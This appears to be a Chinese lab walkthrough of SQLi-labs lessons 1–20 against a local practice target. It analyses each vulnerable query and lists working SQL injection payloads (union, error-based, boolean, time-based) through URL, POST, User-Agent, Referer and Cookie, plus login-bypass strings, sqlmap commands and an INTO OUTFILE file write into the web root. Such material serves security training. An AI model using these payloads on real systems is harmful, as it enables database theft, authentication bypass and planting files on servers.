SQLI-labs_01to20
Less-01
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
GET | 联合、报错、布尔、延时 | ' |
源码分析
# 拼接语句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 支持联合、报错、布尔盲注、延时盲注
if true:
输出查询内容
else:
print_r(mysql_error());
payload
-
联合
?id=-1' and 1=2 union select 1,version(),3 --+
-
报错 :
# 这条报错注入是有概率的,多试几次 ?id=-1' and (select 1 from (select count('^'),concat((select version()),floor(rand()*2))x from information_schema.tables group by x)a) --+ ?id=-1' and (select 1 from (select count('^'),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+ ?id=-1' and extractvalue(1,concat('^',(select version()),'^')) --+ ?id=-1' and updatexml(1,concat('^',(select database()),'^'),1) --+
-
布尔
?id=1' and left(database(),1)>'r'--+ ?id=1' and left(database(),1)>'s'--+
-
延时
s
ASCII 码为115
?id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+ ?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
SQLMap
# 联合查询
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3
# 报错
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=E -v 3
# 布尔
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=B -v 3
# 延时
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=T -v 3
Less-02
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
GET | 联合、报错、布尔、延时 | null |
源码分析
# 拼接语句
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
# 支持联合、报错、布尔盲注、延时盲注
if true:
输出查询内容
else:
print_r(mysql_error());
payload
- 同 #Less-01,仅闭合方式不同
- 如:
?id=-1 union select 1,database(),3 --+
- 如:
Less-03
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
GET | 联合、报错、布尔、延时 | ') |
源码分析
# 拼接语句
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
# 支持联合、报错、布尔盲注、延时盲注
if true:
输出查询内容
else:
print_r(mysql_error());
payload
- 同 #Less-01,仅闭合方式不同
- 如:
?id=-1') union select 1,database(),3 --+
- 如:
Less-04
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
GET | 联合、报错、布尔、延时 | ") |
源码
# 先双引号,再括号拼接
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
# 支持联合、报错、布尔盲注、延时盲注
if true:
输出查询内容
else:
print_r(mysql_error());
payload
- 同 #Less-01,仅闭合方式不同
- 如:
?id=-1") union select 1,database(),3 --+
- 如:
Less-05
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
GAT | 报错、布尔、延时 | ' |
源码
# 拼接语句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 支持报错、布尔盲注、延时盲注
if true:
输出 You are in...........
# 不输出查询结果,就没法使用联合查询注入了
else:
print_r(mysql_error());
payload
- 基本同 #Less-01,由于不输出查询结果,联合查询的注入就无效了,但还会显示报错信息,且盲注还能使用
- 如:
?id=-1' and extractvalue(1,concat('^',(select version()),'^')) --+
- 如:
Less-06
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
GET | 报错、布尔、延时 | " |
payload
- 同 #Less-01 , 仅闭合方式不同
- 如:
?id=2" and updatexml(1,concat(0x5e,(select version()),0x5e),1) --+
- 如:
Less-07
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
GET | 布尔、延时 | ')) |
源码分析
# 拼接语句
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
# 支持布尔盲注、延时盲注
if true:
输出 You are in.... Use outfile......
# 作者提示 Use outfile ,说明存在数据导出漏洞
else:
输出 You have an error in your SQL syntax
# 报错内容也不输出了
//print_r(mysql_error());
作者提示 Use outfile
,尝试数据导出,默认 outfile 是关闭状态的,需要手动开启, Docker 靶场理论上是已经开启的,进容器验证一下:
mysql -e "show global variables like '%secure%';"
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
# ure_file_priv 的值为 null ,表示不允许导入、导出
# secure_file_priv 的值为 /tmp/ ,表示限制只能导入、导出在 /tmp/ 目录下
# secure_file_priv 的值为 空 时,表示不限制导入、导出路径
payload
- 同 #Less-01 ,闭合方式不同,且仅能使用布尔和延时注入,这两个注入通常用 sqlmap 来跑。
数据导出
-
/?id=1'))+UNION+SELECT * from security.users INTO OUTFILE "users.txt"--+
数据库未配置导出目录限制,这里也没有指定路径,因此导出将保存导默认目录
/var/lib/mysql/security
下。 -
/?id=1'))+UNION+SELECT * from security.users INTO OUTFILE "/var/www/html/Less-7/users.txt"--+
Docker 靶场中的
/var/www/html/
写入权限可能未对 MySQL 开放,会导致写入失败syntaxCan't create/write to file
,修改目录权限chmod -R 777 /var/www/html
这样这样确保是一个存在风险的目录。通常存在写入风险的目录时,直接在 Web 下写 shell 效率更高:
/?id=1'))+UNION+SELECT 1,2,"<?php phpinfo();?>" INTO OUTFILE "/var/www/html/Less-7/info.php"--+
Less-08
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
GET | 布尔、延时 | ' |
payload
- 同 #Less-07 ,仅闭合方式不同
Less-09
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
GET | 延时 | ' |
源码分析
# 拼接语句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 输出只有一种了,这时就不存在布尔类型的返回,只能用延时型的注入
if true:
输出 You are in............
else:
输出 You are in...........
payload
- 同 #Less-07,闭合方式有所不同,同时返回的结果只有一种,只能用延时注入。
Less-10
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
GAT | 延时 | " |
源码分析
# 拼接语句
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
# 支持延时盲注
if true:
输出 You are in............
else:
输出 You are in...........
payload
- 同 #Less-09 ,仅闭合方式有所不同
Less-11
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
POST | 联合、报错、布尔、延时 | ' |
源码分析
# POST 方式接受变量
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
# SQL 语句把 uname 和 passwd 放到了同一个语句中,只要保证语句能查询出结果即可,在前面的变量中加入注释,将后半段的注释内容给注释掉,能返回查询结果,同样通过构建永真也能保证语句正确查询到结果
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
# 仅判断有返回结果就输出查询信息,未进行判断和过虑
if true:
输出查询的信息
else:
print_r(mysql_error());
payload
-
同 #Less-01 ,只是由 GET 型变成了 POST 型。
POST 请求包的提交内容:
uname=admin&passwd=passwd&submit=Submit
可通过浏览器插件编辑 PUST 内容实现,可通过抓包工具修改发送的包实现,推荐用抓包工具梭哈。
-
联合
uname=-1' and 1=2 union select 1,version(),3 --+&passwd=passwd&submit=Submit
-
报错 :
# 这条报错注入是有概率的,多试几次 uname=-1' and (select 1 from (select count('^'),concat((select version()),floor(rand()*2))x from information_schema.tables group by x)a) --+&passwd=passwd&submit=Submit uname=-1' and (select 1 from (select count('^'),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+&passwd=passwd&submit=Submit uname=-1' and extractvalue(1,concat('^',(select version()),'^')) --+&passwd=passwd&submit=Submit uname=-1' and updatexml(1,concat('^',(select database()),'^'),1) --+&passwd=passwd&submit=Submit
-
布尔
uname=1' and left(database(),1)>'r'--+&passwd=passwd&submit=Submit uname=1' and left(database(),1)>'s'--+&passwd=passwd&submit=Submit
-
延时
s
ASCII 码为115
uname=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+&passwd=passwd&submit=Submit uname=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+&passwd=passwd&submit=Submit
万能密码
# 注释掉 passwd 来登录
uname=admin'--+&passwd=&submit=Submit
uname=admin'#&passwd=&submit=Submit
# 添加一个永真条件,并注释后面的内容
uname=admin&passwd=1' or 1--+&submit=Submit
uname=admin&passwd=1'||1--+&submit=Submit
uname=admin&passwd=1' or 1#&submit=Submit
uname=admin&passwd=1'||1#&submit=Submit
# 添加一个永真条件,并闭合后面语句
uname=admin&passwd=1'or'1'='1&submit=Submit
uname=admin&passwd=1'||'1'='1&submit=Submit
SQLMap
通过 Burpsuite 截取请求包,将其保存到文本中
POST /Less-11/ HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://127.0.0.1:8888
Connection: close
Referer: http://127.0.0.1:8888/Less-11/
Upgrade-Insecure-Requests: 1
uname=admin&passwd=yyds&submit=Submit
使用 SQLMap 加载请求包,进行扫描
sqlmap -r postdata.txt
也可使用一下方式进行扫描
sqlmap -u "http://127.0.0.1:8888/Less-11/" --data="uname=admin&passwd=yyds&submit=Submit"
# 联合
sqlmap -u "http://127.0.0.1:8888/Less-11/" --data="uname=admin&passwd=yyds&submit=Submit" -p "uname" --dbms=MySQL --random-agent --flush-session --technique=U -v 3
# 报错
sqlmap -u "http://127.0.0.1:8888/Less-11/" --data="uname=admin&passwd=yyds&submit=Submit" -p "uname" --dbms=MySQL --random-agent --flush-session --technique=B -v 3
# 布尔
sqlmap -u "http://127.0.0.1:8888/Less-11/" --data="uname=admin&passwd=2333&submit=Submit" -p "uname" --dbms=MySQL --random-agent --flush-session --technique=B -v 3
# 延时
sqlmap -u "http://127.0.0.1:8888/Less-11/" --data="uname=admin&passwd=2333&submit=Submit" -p "uname" --dbms=MySQL --random-agent --flush-session --technique=T -v 3
Less-12
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
POST | 联合、报错、布尔、延时 | ") |
payload
- 同 #Less-11 ,仅闭合方式有所不同
Less-13
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
POST | 报错、布尔、延时 | ') |
源码分析
# POST 方式接受变量
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
if true:
并没有输出啥信息
# 结果为真时不输出结果,联合查询注入没法用
else:
print_r(mysql_error());
payload
- 同 #Less-11 ,闭合方式有所不同,由于不返回查询信息,联合查询就不能用了。
Less-14
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
POST | 报错、布尔、延时 | " |
源码分析
# 先使用双引号将语句拼接成字符串,再直接带入 SQL 语句
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
# 依旧是不输出查询结果
if true:
并没有输出啥信息
# 结果为真时不输出结果,联合查询注入没法用
else:
print_r(mysql_error());
payload
- 同 #Less-13 ,仅闭合方式有所不同
Less-15
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
POST | 布尔、延时 | ' |
源码分析
# 报错返回信息被注释,报错注入失效
payload
- 同 #Less-13 ,闭合方式有所不同,由于不返回查询信息和报错信息,联合查询和报错注入都不可用。
Less-16
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
POST | 布尔、延时 | ") |
payload
- 同 #Less-15 ,仅闭合方式有所不同
Less-17
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
POST | 报错、布尔、延时 | ' |
源码分析
# uname 参数被过滤了,但未对 passwd 进行过虑
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
# 查询语句只获取了 uname 参数,但有过虑
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
if select 结果正确:
# 更新语句,直接调用了 passwd 参数,未进行过虑,这里不存在查询因此联合查询注入失效
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
if mysql 报错:
# 有报错返回
print_r(mysql_error());
payload
-
可注入的字段没有进行查询,所以联合查询注入失效。
-
报错 :
# 这条报错注入是有概率的,多试几次 uname=admin&passwd=1' and (select 1 from (select count('^'),concat((select version()),floor(rand()*2))x from information_schema.tables group by x)a) --+&submit=Submit uname=admin&passwd=1' and (select 1 from (select count('^'),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+&submit=Submit uname=admin&passwd=1' and extractvalue(1,concat('^',(select version()),'^')) --+&submit=Submit uname=admin&passwd=1' and updatexml(1,concat('^',(select database()),'^'),1) --+&submit=Submit
-
布尔
uname=admin&passwd=1' and left(database(),1)>'r'--+&submit=Submit uname=admin&passwd=1' and left(database(),1)>'s'--+&submit=Submit
-
延时
s
ASCII 码为115
uname=admin&passwd=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+&submit=Submit uname=admin&passwd=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+&submit=Submit
Less-18
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
POST | 报错、布尔、延时 | ') |
源码分析
# 获取请求的 User-Agent 和 IP
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
if 输入了uname 和 passwd:
# 对两个参数进行过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
if SQL语句有返回结果:
# 将 User-Agent 和 IP 带入了 insert 语句,且未对这两个字段进行过虑
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
输出 $uagent;
print_r(mysql_error());
else:
print_r(mysql_error());
php 用以下方法获取 IP
$_SERVER['HTTP_CLIENT_IP']
: 较少使用,客户端可伪造$_SERVER['HTTP_X_FORWARDED_FOR']
: 客户端可伪造$_SERVER['REMOTE_ADDR']
: 客户端不可伪造
由此,客户端不可伪造 IP ,这里就只能通过修改 User-Agent
进行注入,为保证 insert 语句的完整,注入注释会导致语句错误,因此构造一个永真语句。
payload
- 请求包内容:
POST /Less-18/ HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://127.0.0.1:8888
Connection: close
Referer: http://127.0.0.1:8888/Less-18/
Upgrade-Insecure-Requests: 1
uname=admin&passwd=yyds&submit=Submit
-
报错
POST /Less-18/ HTTP/1.1 User-Agent: 1' and (select 1 from (select count('^'),concat((select version()),floor(rand()*2))x from information_schema.tables group by x)a) and '1'='1 User-Agent: 1' and (select 1 from (select count('^'),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) and '1'='1 User-Agent: 1' and extractvalue(1,concat('^',(select version()),'^')) and '1'='1 User-Agent: 1' and updatexml(1,concat('^',(select database()),'^'),1) and '1'='1
-
布尔
POST /Less-18/ HTTP/1.1 User-Agent: 1' and left(database(),1)>'r' and '1'='1 User-Agent: 1' and left(database(),1)>'s' and '1'='1
-
延时
s
ASCII 码为115
POST /Less-18/ HTTP/1.1 User-Agent: 1' and if(ascii(substr(database(),1,1))>114,1,sleep(5)) and '1'='1 User-Agent: 1' and if(ascii(substr(database(),1,1))>115,1,sleep(5)) and '1'='1
Less-19
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
POST | 报错、布尔、延时 | ') |
源码分析
# 获取请求的 Referer 和 IP
$uagent = $_SERVER['HTTP_REFERER'];
$IP = $_SERVER['REMOTE_ADDR'];
if 输入了uname 和 passwd:
# 对两个参数进行过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
if SQL语句有返回结果:
# 将 Referer 和 IP 带入了 insert 语句,且未对这两个字段进行过虑
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
输出 $_SERVER['HTTP_REFERER']
print_r(mysql_error());
else:
print_r(mysql_error());
同样不可通过客户端修改 IP ,注入点在 Referer。
payload
-
请求包内容
POST /Less-19/ HTTP/1.1 Host: 127.0.0.1:8888 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 38 Origin: http://127.0.0.1:8888 Connection: close Referer: http://127.0.0.1:8888/Less-19/ Upgrade-Insecure-Requests: 1 uname=admin&passwd=admin&submit=Submit
-
报错
POST /Less-19/ HTTP/1.1 Referer: 1' and (select 1 from (select count('^'),concat((select version()),floor(rand()*2))x from information_schema.tables group by x)a) and '1'='1 Referer: 1' and (select 1 from (select count('^'),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) and '1'='1 Referer: 1' and extractvalue(1,concat('^',(select version()),'^')) and '1'='1 Referer: 1' and updatexml(1,concat('^',(select database()),'^'),1) and '1'='1
-
布尔
POST /Less-19/ HTTP/1.1 Referer: 1' and left(database(),1)>'r' and '1'='1 Referer: 1' and left(database(),1)>'s' and '1'='1
-
延时
s
ASCII 码为115
POST /Less-19/ HTTP/1.1 Referer: 1' and if(ascii(substr(database(),1,1))>114,1,sleep(5)) and '1'='1 Referer: 1' and if(ascii(substr(database(),1,1))>115,1,sleep(5)) and '1'='1
Less-20
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
POST | 联合、报错、布尔、延时 | ' |
源码分析
<?php
if cookie 中不存在 uname 参数:
输出一堆无用的信息
if 提交了 uname 和 passwd:
# 进行过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$cookee = $row1['username'];
if 有查询结果:
# 将 uname 的值设置给 cookie 里面的 uname 参数
setcookie('uname', $cookee, time()+3600);
else:
print_r(mysql_error());
else:
if POST 数据里面没有 submit 参数:
$cookee = $_COOKIE['uname'];
# 直接将 cookee 通过单引号拼接到 SQL 语句中
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
if 查询无结果:
输出 mysql_error()
if 有结果:
输出查询的信息
else:
# 将 uname 的值设置给 cookie 里面的 uname 参数
setcookie('uname', $row1['username'], time()-3600);
?>
payload
-
请求包内容
GET /Less-20/index.php HTTP/1.1 Host: 127.0.0.1:8888 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1:8888/Less-20/index.php Connection: close Cookie: uname=admin Upgrade-Insecure-Requests: 1
-
报错
POST /Less-20/ HTTP/1.1 Cookie: uname=1' and (select 1 from (select count('^'),concat((select version()),floor(rand()*2))x from information_schema.tables group by x)a) and '1'='1 Cookie: uname=1' and (select 1 from (select count('^'),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) and '1'='1 Cookie: uname=1' and extractvalue(1,concat('^',(select version()),'^')) and '1'='1 Cookie: uname=1' and updatexml(1,concat('^',(select database()),'^'),1) and '1'='1
-
布尔
POST /Less-20/ HTTP/1.1 Cookie: uname=1' and left(database(),1)>'r' and '1'='1 Cookie: uname=1' and left(database(),1)>'s' and '1'='1
-
延时
s
ASCII 码为115
POST /Less-20/ HTTP/1.1 Cookie: uname=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5)) and '1'='1 Cookie: uname=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5)) and '1'='1
SQLMap
当 --level
设置为 2
或更高时, SQLMap 会对 Cookie
进行 SQL 注入检测,可通过 *
手动标记注入点 --cookie="uname=admin*"
。
# 联合
sqlmap -u "http://127.0.0.1:8888/Less-20/" --cookie="uname=admin" -p "uname" --dbms=MySQL --random-agent --flush-session --technique=U -v 3 --level=2
# 报错
sqlmap -u "http://127.0.0.1:8888/Less-20/" --cookie="uname=admin*"--dbms=MySQL --random-agent --flush-session --technique=E -v 3
# 布尔
sqlmap -u "http://127.0.0.1:8888/Less-20/" --cookie="uname=admin*"--dbms=MySQL --random-agent --flush-session --technique=B -v 3
# 延时
sqlmap -u "http://127.0.0.1:8888/Less-20/" --cookie="uname=admin*"--dbms=MySQL --random-agent --flush-session --technique=B -v 3